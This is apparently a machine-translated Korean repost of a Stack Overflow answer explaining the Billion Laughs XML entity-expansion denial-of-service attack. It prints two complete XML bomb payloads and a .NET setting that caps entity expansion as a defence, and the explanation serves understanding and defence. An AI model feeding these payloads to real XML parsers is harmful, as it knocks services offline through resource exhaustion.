it-source

억만장자 웃음 XML DoS 공격은 어떻게 작동합니까?

criticalcode 2023. 10. 23. 21:54
반응형

억만장자 웃음 XML DoS 공격은 어떻게 작동합니까?

<!DOCTYPE root [
 <!ENTITY ha "Ha !">
 <!ENTITY ha2 "&ha; &ha;">
 <!ENTITY ha3 "&ha2; &ha2;">
 <!ENTITY ha4 "&ha3; &ha3;">
 <!ENTITY ha5 "&ha4; &ha4;">
 ...
 <!ENTITY ha128 "&ha127; &ha127;">
 ]>
 <root>&ha128;</root>

이것은 십억 웃음 DoS 공격이라고 불리는 것 같습니다.

그게 어떻게 작동하는지 아는 사람?

Billion Laughes 공격은 XML 파서를 대상으로 하는 서비스 거부 공격입니다.Billion Laughs 공격은 XML 폭탄, 또는 난해하게는 지수적 개체 확장 공격이라고도 합니다.Billion Laughs 공격은 잘 형성된 XML을 사용하는 경우에도 발생할 수 있으며 XML 스키마 유효성 검사를 통과할 수도 있습니다.

바닐라 억만장자 웃음 공격은 아래에 표시된 XML 파일에 설명되어 있습니다.

<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>

이 예에서는 10개의 다른 XML 엔티티가 있습니다.lollol9. 첫번째 실체는lol문자열로 정의됩니다.“lol”. 그러나 다른 기업들 각각은 다른 기업의 10개로 정의됩니다.이 XML 파일의 문서 내용 섹션에는 엔티티의 인스턴스 하나에 대한 참조만 들어 있습니다.lol9. 그러나, 이것이 DOM 또는 SAX 파서에 의해 파싱될 때,lol910개로 확장됩니다.lol8s, 각각은 10개로 확장됩니다.lol7s, 등등.모든 것이 텍스트로 확장될 때까지lol, 문자열의 인스턴스가 100,000,000개입니다."lol". 만약 한 개의 실체가 더 있다면, 또는lol10개의 문자열로 정의되었습니다.“lol”, 10억 개의 "lol"이 있을 것이고, 그래서 공격의 이름이 지어졌습니다.말할 것도 없이, 이 많은 확장은 기하급수적인 양의 자원과 시간을 소비하여 DOS를 유발합니다.

블로그에는 좀 더 광범위한 설명이 있습니다.

XML 폭탄 중 하나 - http://msdn.microsoft.com/en-us/magazine/ee335713.aspx

공격자는 이제 XML의 세 가지 속성(대체 엔티티, 중첩 엔티티 및 인라인 DTD)을 이용하여 악의적인 XML 폭탄을 만들 수 있습니다.공격자는 이전 예와 같이 중첩된 엔티티로 XML 문서를 작성하지만, 한 레벨만 깊이로 중첩하는 대신 여러 레벨 깊이로 엔티티를 중첩합니다.

또한 이러한 "폭탄"으로부터 보호하기 위한 코드가 있습니다.NET world):

XmlReaderSettings settings = new XmlReaderSettings();
settings.ProhibitDtd = false;
settings.MaxCharactersFromEntities = 1024;
XmlReader reader = XmlReader.Create(stream, settings);

<!ENTITY ha "Ha !">도면요소를 정의합니다.&ha;까지 확장되는"Ha !". 다음 행은 다른 개체를 정의합니다.&ha2;까지 확장되는"&ha; &ha;"결국엔"Ha ! Ha !".

&ha3;로 바뀌다Ha ! Ha ! Ha ! Ha !, 매번 두 배씩 늘려서요.패턴을 따라가면,&haN;이다."Ha !", 2번N-1. 그래서.&ha128, 2로127 확장 "Ha !"s, 어떤 컴퓨터도 다루기에는 너무 큽니다.

언급URL : https://stackoverflow.com/questions/3451203/how-does-the-billion-laughs-xml-dos-attack-work

반응형